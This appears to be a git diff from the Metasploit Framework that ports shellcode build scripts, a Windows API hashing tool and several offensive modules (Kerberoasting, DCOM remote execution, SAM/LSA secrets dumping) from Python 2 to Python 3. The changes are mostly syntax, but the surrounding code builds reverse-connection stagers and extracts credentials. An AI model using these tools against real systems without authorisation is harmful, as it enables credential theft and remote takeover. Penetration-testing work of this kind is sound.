diff --git a/external/source/shellcode/windows/x64/bin/stager_reverse_https.bin b/external/source/shellcode/windows/x64/bin/stager_reverse_https.bin index c19921552c..2a3226c974 100644 Binary files a/external/source/shellcode/windows/x64/bin/stager_reverse_https.bin and b/external/source/shellcode/windows/x64/bin/stager_reverse_https.bin differ diff --git a/external/source/shellcode/windows/x64/build.py b/external/source/shellcode/windows/x64/build.py old mode 100644 new mode 100755 index 053fb776e6..a057f97d71 --- a/external/source/shellcode/windows/x64/build.py +++ b/external/source/shellcode/windows/x64/build.py @@ -1,5 +1,7 @@ +#!/usr/bin/env python3 + #=============================================================================# -# A simple python build script to build the singles/stages/stagers and +# A simple python build script to build the singles/stages/stagers and # some usefull information such as offsets and a hex dump. The binary output # will be placed in the bin directory. A hex string and usefull comments will # be printed to screen. @@ -12,95 +14,98 @@ # # Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) #=============================================================================# -import os, sys, time + +import os +import sys +import time from subprocess import Popen from struct import pack -#=============================================================================# -def clean( dir="./bin/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if name[-4:] == ".bin": - os.remove( os.path.join( root, name ) ) -#=============================================================================# -def locate( src_file, dir="./src/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if src_file == name: - return root - return None -#=============================================================================# -def build( name ): - location = locate( "%s.asm" % name ) - if location: - input = os.path.normpath( os.path.join( location, name ) ) - output = os.path.normpath( os.path.join( "./bin/", name ) ) - p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) - p.wait() - xmit( name ) - else: - print "[-] Unable to locate '%s.asm' in the src directory" % name -#=============================================================================# -def xmit_dump_ruby( data, length=16 ): - dump = "" - for i in xrange( 0, len( data ), length ): - bytes = data[ i : i+length ] - hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) - if i+length <= len(data): - hex += " +" - dump += "%s\n" % ( hex ) - print dump -#=============================================================================# -def xmit_offset( data, name, value ): - offset = data.find( value ); - if offset != -1: - print "# %s Offset: %d" % ( name, offset ) -#=============================================================================# -def xmit( name, dump_ruby=True ): - bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) - f = open( bin, 'rb') - data = f.read() - print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) - xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 - xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1 - xmit_offset( data, "ExitFunk", pack( "]" + +def clean(dir='./bin/'): + for root, dirs, files in os.walk(dir): + for name in files: + if name[-4:] == '.bin': + os.remove(os.path.join(root, name)) + +def locate(src_file, dir='./src/'): + for root, dirs, files in os.walk(dir): + for name in files: + if src_file == name: + return root + return None + +def build(name): + location = locate('%s.asm' % name) + if location: + input = os.path.normpath(os.path.join(location, name)) + output = os.path.normpath(os.path.join('./bin/', name)) + p = Popen(['nasm', '-f bin', '-O3', '-o %s.bin' % + output, '%s.asm' % input]) + p.wait() + xmit(name) else: - print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "clean": - clean() - elif argv[1] == "all": - for root, dirs, files in os.walk( "./src/migrate/" ): - for name in files: - if name[-4:] == ".asm": - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/single/" ): - for name in files: - if name[-4:] == ".asm": - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stage/" ): - for name in files: - if name[-4:] == ".asm": - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stager/" ): - for name in files: - if name[-4:] == ".asm": - build( name[:-4] ) - else: - build( argv[1] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() -#=============================================================================# \ No newline at end of file + print("[-] Unable to locate '%s.asm' in the src directory" % name) + +def xmit_dump_ruby(data, length=16): + dump = '' + for i in range(0, len(data), length): + bytes = data[i: i+length] + hex = "\"%s\"" % (''.join(['\\x%02X' % x for x in bytes])) + if i+length <= len(data): + hex += ' +' + dump += '%s\n' % (hex) + print(dump) + +def xmit_offset(data, name, value): + offset = data.find(value) + if offset != -1: + print('# %s Offset: %d' % (name, offset)) + +def xmit(name, dump_ruby=True): + bin = os.path.normpath(os.path.join('./bin/', '%s.bin' % name)) + f = open(bin, 'rb') + data = f.read() + print('# Name: %s\n# Length: %d bytes' % (name, len(data))) + xmit_offset(data, 'Port', pack('>H', 4444)) # 4444 + xmit_offset(data, 'Host', pack('>L', 0x7F000001)) # 127.0.0.1 + # kernel32.dll!ExitThread + xmit_offset(data, 'ExitFunk', pack(']') + else: + print('# Built on %s\n' % (time.asctime(time.localtime()))) + if argv[1] == 'clean': + clean() + elif argv[1] == 'all': + for root, dirs, files in os.walk('./src/migrate/'): + for name in files: + if name[-4:] == '.asm': + build(name[:-4]) + for root, dirs, files in os.walk('./src/single/'): + for name in files: + if name[-4:] == '.asm': + build(name[:-4]) + for root, dirs, files in os.walk('./src/stage/'): + for name in files: + if name[-4:] == '.asm': + build(name[:-4]) + for root, dirs, files in os.walk('./src/stager/'): + for name in files: + if name[-4:] == '.asm': + build(name[:-4]) + else: + build(argv[1]) + +if __name__ == '__main__': + main() diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 7578b590c1..604d47c8ad 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -145,7 +145,7 @@ download_more: test eax,eax ; download failed? (optional?) jz failure - mov ax, word ptr [edi] + mov ax, word [edi] add rbx, rax ; buffer += bytes_received test rax,rax ; optional? diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py old mode 100644 new mode 100755 index 93e1bf59b5..02d5e58c2b --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python3 #=============================================================================# # A simple python build script to build the singles/stages/stagers and # some usefull information such as offsets and a hex dump. The binary output @@ -12,117 +13,119 @@ # # Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) #=============================================================================# -import os, sys, time +import os +import sys +import time from subprocess import Popen from struct import pack -#=============================================================================# -def clean( dir="./bin/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - os.remove( os.path.join( root, name ) ) -#=============================================================================# -def locate( src_file, dir="./src/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if src_file == name: - return root - return None -#=============================================================================# -def build( name ): - location = locate( "%s.asm" % name ) - if location: - input = os.path.normpath( os.path.join( location, name ) ) - output = os.path.normpath( os.path.join( "./bin/", name ) ) - p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) - p.wait() - xmit( name ) - else: - print "[-] Unable to locate '%s.asm' in the src directory" % name +def clean(dir='./bin/'): + for root, dirs, files in os.walk(dir): + for name in files: + if name != '.keep': + os.remove(os.path.join(root, name)) -#=============================================================================# -def xmit_dump_ruby( data, length=16 ): - dump = "" - for i in xrange( 0, len( data ), length ): - bytes = data[ i : i+length ] - hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) - if i+length <= len(data): - hex += " +" - dump += "%s\n" % ( hex ) - print dump +def locate(src_file, dir='./src/'): + for root, dirs, files in os.walk(dir): + for name in files: + if src_file == name: + return root + return None -#=============================================================================# -def xmit_offset( data, name, value, match_offset=0 ): - offset = data.find( value ); - if offset != -1: - print "# %s Offset: %d" % ( name, offset + match_offset ) +def build(name): + location = locate('%s.asm' % name) + if location: + input = os.path.normpath(os.path.join(location, name)) + output = os.path.normpath(os.path.join('./bin/', name)) + p = Popen(['nasm', '-f bin', '-O3', '-o %s.bin' % + output, '%s.asm' % input]) + p.wait() + xmit(name) + else: + print("[-] Unable to locate '%s.asm' in the src directory" % name) -#=============================================================================# -def xmit( name, dump_ruby=True ): - bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) - f = open( bin, 'rb') - data = f.read() - print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) - xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 - xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 - xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size - xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key - xmit_offset( data, "XORKey", "XORK") # XOR key - if( name.find( "egghunter" ) >= 0 ): - null_count = data.count( "\x00" ) - if( null_count > 0 ): - print "# Note: %d NULL bytes found." % ( null_count ) - if dump_ruby: - xmit_dump_ruby( data ) +def xmit_dump_ruby(data, length=16): + dump = '' + for i in range(0, len(data), length): + bytes = data[i: i+length] + hex = "\"%s\"" % (''.join(['\\x%02X' % x for x in bytes])) + if i+length <= len(data): + hex += ' +' + dump += '%s\n' % (hex) + print(dump) -#=============================================================================# -def main( argv=None ): - if not argv: - argv = sys.argv - try: - if len( argv ) == 1: - print "Usage: build.py [clean|all|]" - else: - print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "clean": - clean() - elif argv[1] == "all": - for root, dirs, files in os.walk( "./src/egghunter/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/migrate/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/single/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stage/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stager/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/kernel/" ): - for name in files: - build( name[:-4] ) - else: - build( argv[1] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() -#=============================================================================# +def xmit_offset(data, name, value, match_offset=0): + offset = data.find(value) + if offset != -1: + print('# %s Offset: %d' % (name, offset + match_offset)) + +def xmit(name, dump_ruby=True): + bin = os.path.normpath(os.path.join('./bin/', '%s.bin' % name)) + f = open(bin, 'rb') + data = bytearray(f.read()) + print('# Name: %s\n# Length: %d bytes' % (name, len(data))) + xmit_offset(data, 'Port', pack('>H', 4444)) # 4444 + xmit_offset(data, 'LEPort', pack('L', 0x7F000001)) # 127.0.0.1 + xmit_offset(data, 'IPv6Host', pack( + 'H', 0x1122)) # Egg tag size + xmit_offset(data, 'RC4Key', b'RC4KeyMetasploit') # RC4 key + xmit_offset(data, 'XORKey', b'XORK') # XOR key + if(name.find('egghunter') >= 0): + null_count = data.count('\x00') + if(null_count > 0): + print('# Note: %d NULL bytes found.' % (null_count)) + if dump_ruby: + xmit_dump_ruby(data) + +def main(argv=None): + if not argv: + argv = sys.argv + if len(argv) == 1: + print('Usage: build.py [clean|all|]') + else: + print('# Built on %s\n' % (time.asctime(time.localtime()))) + if argv[1] == 'clean': + clean() + elif argv[1] == 'all': + for root, dirs, files in os.walk('./src/egghunter/'): + for name in files: + build(name[:-4]) + for root, dirs, files in os.walk('./src/migrate/'): + for name in files: + build(name[:-4]) + for root, dirs, files in os.walk('./src/single/'): + for name in files: + build(name[:-4]) + for root, dirs, files in os.walk('./src/stage/'): + for name in files: + build(name[:-4]) + for root, dirs, files in os.walk('./src/stager/'): + for name in files: + build(name[:-4]) + for root, dirs, files in os.walk('./src/kernel/'): + for name in files: + build(name[:-4]) + else: + build(argv[1]) + +if __name__ == '__main__': + main() diff --git a/external/source/shellcode/windows/x86/src/hash.py b/external/source/shellcode/windows/x86/src/hash.py old mode 100644 new mode 100755 index 18ba57afac..2de9181f31 --- a/external/source/shellcode/windows/x86/src/hash.py +++ b/external/source/shellcode/windows/x86/src/hash.py @@ -1,146 +1,152 @@ -#=============================================================================# -# This script can detect hash collisions between exported API functions in -# multiple modules by either scanning a directory tree or just a single module. -# This script can also just output the correct hash value for any single API -# function for use with the 'api_call' function in 'block_api.asm'. -# -# Example: Detect fatal collisions against all modules in the C drive: -# >hash.py /dir c:\ -# -# Example: List the hashes for all exports from kernel32.dll (As found in 'c:\windows\system32\') -# >hash.py /mod c:\windows\system32\ kernel32.dll -# -# Example: Simply print the correct hash value for the function kernel32.dll!WinExec -# >hash.py kernel32.dll WinExec -# -# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -#=============================================================================# -from sys import path -import os, time, sys - -# Modify this path to pefile to suit your machine... -pefile_path = "D:\\Development\\Frameworks\\pefile\\" - -path.append( pefile_path ) -import pefile -#=============================================================================# -collisions = [ ( 0x006B8029, "ws2_32.dll!WSAStartup" ), - ( 0xE0DF0FEA, "ws2_32.dll!WSASocketA" ), - ( 0x6737DBC2, "ws2_32.dll!bind" ), - ( 0xFF38E9B7, "ws2_32.dll!listen" ), - ( 0xE13BEC74, "ws2_32.dll!accept" ), - ( 0x614D6E75, "ws2_32.dll!closesocket" ), - ( 0x6174A599, "ws2_32.dll!connect" ), - ( 0x5FC8D902, "ws2_32.dll!recv" ), - ( 0x5F38EBC2, "ws2_32.dll!send" ), - - ( 0x5BAE572D, "kernel32.dll!WriteFile" ), - ( 0x4FDAF6DA, "kernel32.dll!CreateFileA" ), - ( 0x13DD2ED7, "kernel32.dll!DeleteFileA" ), - ( 0xE449F330, "kernel32.dll!GetTempPathA" ), - ( 0x528796C6, "kernel32.dll!CloseHandle" ), - ( 0x863FCC79, "kernel32.dll!CreateProcessA" ), - ( 0xE553A458, "kernel32.dll!VirtualAlloc" ), - ( 0x300F2F0B, "kernel32.dll!VirtualFree" ), - ( 0x0726774C, "kernel32.dll!LoadLibraryA" ), - ( 0x7802F749, "kernel32.dll!GetProcAddress" ), - ( 0x601D8708, "kernel32.dll!WaitForSingleObject" ), - ( 0x876F8B31, "kernel32.dll!WinExec" ), - ( 0x9DBD95A6, "kernel32.dll!GetVersion" ), - ( 0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter" ), - ( 0x56A2B5F0, "kernel32.dll!ExitProcess" ), - ( 0x0A2A1DE0, "kernel32.dll!ExitThread" ), - - ( 0x6F721347, "ntdll.dll!RtlExitUserThread" ), - - ( 0x23E38427, "advapi32.dll!RevertToSelf" ) - ] - -collisions_detected = {} -modules_scanned = 0 -functions_scanned = 0 -#=============================================================================# -def ror( dword, bits ): - return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF -#=============================================================================# -def unicode( string, uppercase=True ): - result = ""; - if uppercase: - string = string.upper() - for c in string: - result += c + "\x00" - return result -#=============================================================================# -def hash( module, function, bits=13, print_hash=True ): - module_hash = 0 - function_hash = 0 - for c in unicode( module + "\x00" ): - module_hash = ror( module_hash, bits ) - module_hash += ord( c ) - for c in str( function + "\x00" ): - function_hash = ror( function_hash, bits ) - function_hash += ord( c ) - h = module_hash + function_hash & 0xFFFFFFFF - if print_hash: - print "[+] 0x%08X = %s!%s" % ( h, module.lower(), function ) - return h -#=============================================================================# -def scan( dll_path, dll_name, print_hashes=False, print_collisions=True ): - global modules_scanned - global functions_scanned - try: - dll_name = dll_name.lower() - modules_scanned += 1 - pe = pefile.PE( os.path.join( dll_path, dll_name ) ) - for export in pe.DIRECTORY_ENTRY_EXPORT.symbols: - if export.name is None: - continue - h = hash( dll_name, export.name, print_hash=print_hashes ) - for ( col_hash, col_name ) in collisions: - if col_hash == h and col_name != "%s!%s" % (dll_name, export.name): - if h not in collisions_detected.keys(): - collisions_detected[h] = [] - collisions_detected[h].append( (dll_path, dll_name, export.name) ) - break - functions_scanned += 1 - except: - pass -#=============================================================================# -def scan_directory( dir ): - for dot, dirs, files in os.walk( dir ): - for file_name in files: - if file_name[-4:] == ".dll":# or file_name[-4:] == ".exe": - scan( dot, file_name ) - print "\n[+] Found %d Collisions.\n" % ( len(collisions_detected) ) - for h in collisions_detected.keys(): - for (col_hash, col_name ) in collisions: - if h == col_hash: - detected_name = col_name - break - print "[!] Collision detected for 0x%08X (%s):" % ( h, detected_name ) - for (collided_dll_path, collided_dll_name, collided_export_name) in collisions_detected[h]: - print "\t%s!%s (%s)" % ( collided_dll_name, collided_export_name, collided_dll_path ) - print "\n[+] Scanned %d exported functions via %d modules.\n" % ( functions_scanned, modules_scanned ) -#=============================================================================# -def main( argv=None ): - if not argv: - argv = sys.argv - try: - if len( argv ) == 1: - print "Usage: hash.py [/dir ] | [/mod ] | [ ]" - else: - print "[+] Ran on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "/dir": - print "[+] Scanning directory '%s' for collisions..." % argv[2] - scan_directory( argv[2] ) - elif argv[1] == "/mod": - print "[+] Scanning module '%s' in directory '%s'..." % ( argv[3], argv[2] ) - scan( argv[2], argv[3], print_hashes=True ) - else: - hash( argv[1], argv[2] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() -#=============================================================================# \ No newline at end of file +#!/usr/bin/env python3 +#=============================================================================# +# This script can detect hash collisions between exported API functions in +# multiple modules by either scanning a directory tree or just a single module. +# This script can also just output the correct hash value for any single API +# function for use with the 'api_call' function in 'block_api.asm'. +# +# Example: Detect fatal collisions against all modules in the C drive: +# >hash.py /dir c:\ +# +# Example: List the hashes for all exports from kernel32.dll (As found in 'c:\windows\system32\') +# >hash.py /mod c:\windows\system32\ kernel32.dll +# +# Example: Simply print the correct hash value for the function kernel32.dll!WinExec +# >hash.py kernel32.dll WinExec +# +# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +#=============================================================================# +import pefile +from sys import path +import os +import time +import sys + +# Modify this path to pefile to suit your machine... +pefile_path = 'D:\\Development\\Frameworks\\pefile\\' + +path.append(pefile_path) +collisions = [(0x006B8029, 'ws2_32.dll!WSAStartup'), + (0xE0DF0FEA, 'ws2_32.dll!WSASocketA'), + (0x6737DBC2, 'ws2_32.dll!bind'), + (0xFF38E9B7, 'ws2_32.dll!listen'), + (0xE13BEC74, 'ws2_32.dll!accept'), + (0x614D6E75, 'ws2_32.dll!closesocket'), + (0x6174A599, 'ws2_32.dll!connect'), + (0x5FC8D902, 'ws2_32.dll!recv'), + (0x5F38EBC2, 'ws2_32.dll!send'), + + (0x5BAE572D, 'kernel32.dll!WriteFile'), + (0x4FDAF6DA, 'kernel32.dll!CreateFileA'), + (0x13DD2ED7, 'kernel32.dll!DeleteFileA'), + (0xE449F330, 'kernel32.dll!GetTempPathA'), + (0x528796C6, 'kernel32.dll!CloseHandle'), + (0x863FCC79, 'kernel32.dll!CreateProcessA'), + (0xE553A458, 'kernel32.dll!VirtualAlloc'), + (0x300F2F0B, 'kernel32.dll!VirtualFree'), + (0x0726774C, 'kernel32.dll!LoadLibraryA'), + (0x7802F749, 'kernel32.dll!GetProcAddress'), + (0x601D8708, 'kernel32.dll!WaitForSingleObject'), + (0x876F8B31, 'kernel32.dll!WinExec'), + (0x9DBD95A6, 'kernel32.dll!GetVersion'), + (0xEA320EFE, 'kernel32.dll!SetUnhandledExceptionFilter'), + (0x56A2B5F0, 'kernel32.dll!ExitProcess'), + (0x0A2A1DE0, 'kernel32.dll!ExitThread'), + + (0x6F721347, 'ntdll.dll!RtlExitUserThread'), + + (0x23E38427, 'advapi32.dll!RevertToSelf') + ] + +collisions_detected = {} +modules_scanned = 0 +functions_scanned = 0 + +def ror(dword, bits): + return (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF + +def unicode(string, uppercase=True): + result = '' + if uppercase: + string = string.upper() + for c in string: + result += c + '\x00' + return result + +def hash(module, function, bits=13, print_hash=True): + module_hash = 0 + function_hash = 0 + for c in unicode(module + '\x00'): + module_hash = ror(module_hash, bits) + module_hash += ord(c) + for c in str(function + b'\x00'): + function_hash = ror(function_hash, bits) + function_hash += ord(c) + h = module_hash + function_hash & 0xFFFFFFFF + if print_hash: + print('[+] 0x%08X = %s!%s' % (h, module.lower(), function)) + return h + +def scan(dll_path, dll_name, print_hashes=False, print_collisions=True): + global modules_scanned + global functions_scanned + dll_name = dll_name.lower() + modules_scanned += 1 + pe = pefile.PE(os.path.join(dll_path, dll_name)) + for export in pe.DIRECTORY_ENTRY_EXPORT.symbols: + if export.name is None: + continue + h = hash(dll_name, export.name, print_hash=print_hashes) + for (col_hash, col_name) in collisions: + if col_hash == h and col_name != '%s!%s' % (dll_name, export.name): + if h not in collisions_detected.keys(): + collisions_detected[h] = [] + collisions_detected[h].append( + (dll_path, dll_name, export.name)) + break + functions_scanned += 1 + +def scan_directory(dir): + for dot, dirs, files in os.walk(dir): + for file_name in files: + if file_name[-4:] == '.dll': # or file_name[-4:] == ".exe": + scan(dot, file_name) + print('\n[+] Found %d Collisions.\n' % (len(collisions_detected))) + for h in collisions_detected.keys(): + for (col_hash, col_name) in collisions: + if h == col_hash: + detected_name = col_name + break + print('[!] Collision detected for 0x%08X (%s):' % (h, detected_name)) + for (collided_dll_path, collided_dll_name, collided_export_name) in collisions_detected[h]: + print('\t%s!%s (%s)' % + (collided_dll_name, collided_export_name, collided_dll_path)) + print('\n[+] Scanned %d exported functions via %d modules.\n' % + (functions_scanned, modules_scanned)) + +def usage(): + print( + 'Usage: hash.py [/dir ] | [/mod ] | [ ]') + + +def main(argv=None): + if not argv: + argv = sys.argv + if len(argv) == 1: + usage() + else: + print('[+] Ran on %s\n' % (time.asctime(time.localtime()))) + if argv[1] == '/dir': + print("[+] Scanning directory '%s' for collisions..." % argv[2]) + scan_directory(argv[2]) + elif argv[1] == '/mod': + print("[+] Scanning module '%s' in directory '%s'..." % + (argv[3], argv[2])) + scan(argv[2], argv[3], print_hashes=True) + elif len(argv) < 3: + usage() + else: + hash(argv[1], argv[2]) + +if __name__ == '__main__': + main() diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp.asm index 7e32a9b3b8..bb8af3e470 100644 --- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp.asm +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp.asm @@ -14,6 +14,6 @@ %include "./src/block/block_api.asm" start: ; pop ebp ; pop off the address of 'api_call' for calling later. -%include "./src/block/block_reverse_winhttp_http.asm" +%include "./src/block/block_reverse_winhttp.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. diff --git a/lib/msf/core/modules/external/python/metasploit/login_scanner.py b/lib/msf/core/modules/external/python/metasploit/login_scanner.py index 1855616c08..ddfd17d961 100644 --- a/lib/msf/core/modules/external/python/metasploit/login_scanner.py +++ b/lib/msf/core/modules/external/python/metasploit/login_scanner.py @@ -12,8 +12,8 @@ def run_scanner(args, login_callback): rhost = args['rhost'] rport = int(args['rport']) sleep_interval = float(args['sleep_interval'] or 0) - - if isinstance(userpass, str) or isinstance(userpass, unicode): + # python 2/3 compatibility hack + if isinstance(userpass, str) or ('unicode' in vars(__builtins__) and isinstance(userpass, unicode)): userpass = [ attempt.split(' ', 1) for attempt in userpass.splitlines() ] curr = 0 diff --git a/modules/auxiliary/admin/teradata/teradata_odbc_sql.py b/modules/auxiliary/admin/teradata/teradata_odbc_sql.py index 6544546843..cbba01e3b0 100755 --- a/modules/auxiliary/admin/teradata/teradata_odbc_sql.py +++ b/modules/auxiliary/admin/teradata/teradata_odbc_sql.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2.7 +#!/usr/bin/env python # -*- coding: utf-8 -*- #2018-05-09 14-15 diff --git a/modules/auxiliary/gather/get_user_spns.py b/modules/auxiliary/gather/get_user_spns.py index f547f39436..12e65eef60 100755 --- a/modules/auxiliary/gather/get_user_spns.py +++ b/modules/auxiliary/gather/get_user_spns.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2.7 +#!/usr/bin/env python # -*- coding: utf-8 -*- import sys @@ -112,7 +112,7 @@ class GetUserSPNs: s.login('', '') except Exception: if s.getServerName() == '': - raise('Error while anonymous logging into %s' % self.__domain) + raise Exception('Error while anonymous logging into %s' % self.__domain) else: s.logoff() return s.getServerName() @@ -151,7 +151,7 @@ class GetUserSPNs: compute_lmhash(password), compute_nthash(password), self.__aesKey, kdcHost=self.__kdcHost) - except Exception, e: + except Exception as e: module.log('Exception for getKerberosTGT', level='error') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), @@ -213,7 +213,7 @@ class GetUserSPNs: try: ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost) ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - except ldap.LDAPSessionError, e: + except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) @@ -230,7 +230,7 @@ class GetUserSPNs: attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=999) - except ldap.LDAPSearchError, e: + except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: module.log('sizeLimitExceeded exception caught, giving up and processing the data received', level='debug') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement @@ -282,8 +282,8 @@ class GetUserSPNs: module.log('Bypassing disabled account {}'.format(sAMAccountName), level='debug') else: for spn in SPNs: - answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon]) - except Exception, e: + answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon]) + except Exception as e: module.log('Skipping item, cannot process due to error', level='error') if len(answers)>0: @@ -295,7 +295,7 @@ class GetUserSPNs: # Get a TGT for the current user TGT = self.getTGT() - for user, SPN in users.iteritems(): + for user, SPN in users.items(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, @@ -303,7 +303,7 @@ class GetUserSPNs: TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN) - except Exception , e: + except Exception as e: module.log('SPN Exception: {} - {}'.format(SPN, str(e)), level='error') else: diff --git a/modules/auxiliary/scanner/http/onion_omega2_login.py b/modules/auxiliary/scanner/http/onion_omega2_login.py index 9c2c5022aa..842dd98c3b 100755 --- a/modules/auxiliary/scanner/http/onion_omega2_login.py +++ b/modules/auxiliary/scanner/http/onion_omega2_login.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2.7 +#!/usr/bin/env python # -*- coding: utf-8 -*- # 2019-03-27 05-55 diff --git a/modules/auxiliary/scanner/smb/impacket/_msf_impacket.py b/modules/auxiliary/scanner/smb/impacket/_msf_impacket.py index e43eada865..29647de368 100644 --- a/modules/auxiliary/scanner/smb/impacket/_msf_impacket.py +++ b/modules/auxiliary/scanner/smb/impacket/_msf_impacket.py @@ -48,7 +48,7 @@ class RemoteShell(object): logging.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) fh.close() - except Exception, e: + except Exception as e: logging.error(str(e)) if os.path.exists(filename): os.remove(filename) @@ -65,14 +65,14 @@ class RemoteShell(object): src_file = os.path.basename(src_path) fh = open(src_path, 'rb') - dst_path = string.replace(dst_path, '/','\\') + dst_path = string.replace(dst_path, '/', '\\') - pathname = ntpath.join(ntpath.join(self._pwd,dst_path), src_file) + pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file) drive, tail = ntpath.splitdrive(pathname) logging.info("Uploading %s to %s" % (src_file, pathname)) self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) fh.close() - except Exception, e: + except Exception as e: logging.critical(str(e)) def do_exit(self, _): @@ -93,7 +93,7 @@ class RemoteShell(object): try: self.__transferClient.getFile(self._share, self._output, output_callback) break - except Exception, e: + except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait time.sleep(1) diff --git a/modules/auxiliary/scanner/smb/impacket/dcomexec.py b/modules/auxiliary/scanner/smb/impacket/dcomexec.py index b1c086b59f..45848a7387 100755 --- a/modules/auxiliary/scanner/smb/impacket/dcomexec.py +++ b/modules/auxiliary/scanner/smb/impacket/dcomexec.py @@ -175,7 +175,7 @@ class DCOMEXEC: self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) self.shell.onecmd(self.__command) - except (Exception, KeyboardInterrupt), e: + except (Exception, KeyboardInterrupt) as e: if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) diff --git a/modules/auxiliary/scanner/smb/impacket/secretsdump.py b/modules/auxiliary/scanner/smb/impacket/secretsdump.py index 65b3ae070c..41fd674707 100755 --- a/modules/auxiliary/scanner/smb/impacket/secretsdump.py +++ b/modules/auxiliary/scanner/smb/impacket/secretsdump.py @@ -144,7 +144,7 @@ class DumpSecrets: bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() - except Exception, e: + except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__doKerberos is True: @@ -166,7 +166,7 @@ class DumpSecrets: self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) - except Exception, e: + except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: @@ -184,7 +184,7 @@ class DumpSecrets: self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) - except Exception, e: + except Exception as e: logging.error('LSA hashes extraction failed: %s' % str(e), exc_info=True) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work @@ -204,7 +204,7 @@ class 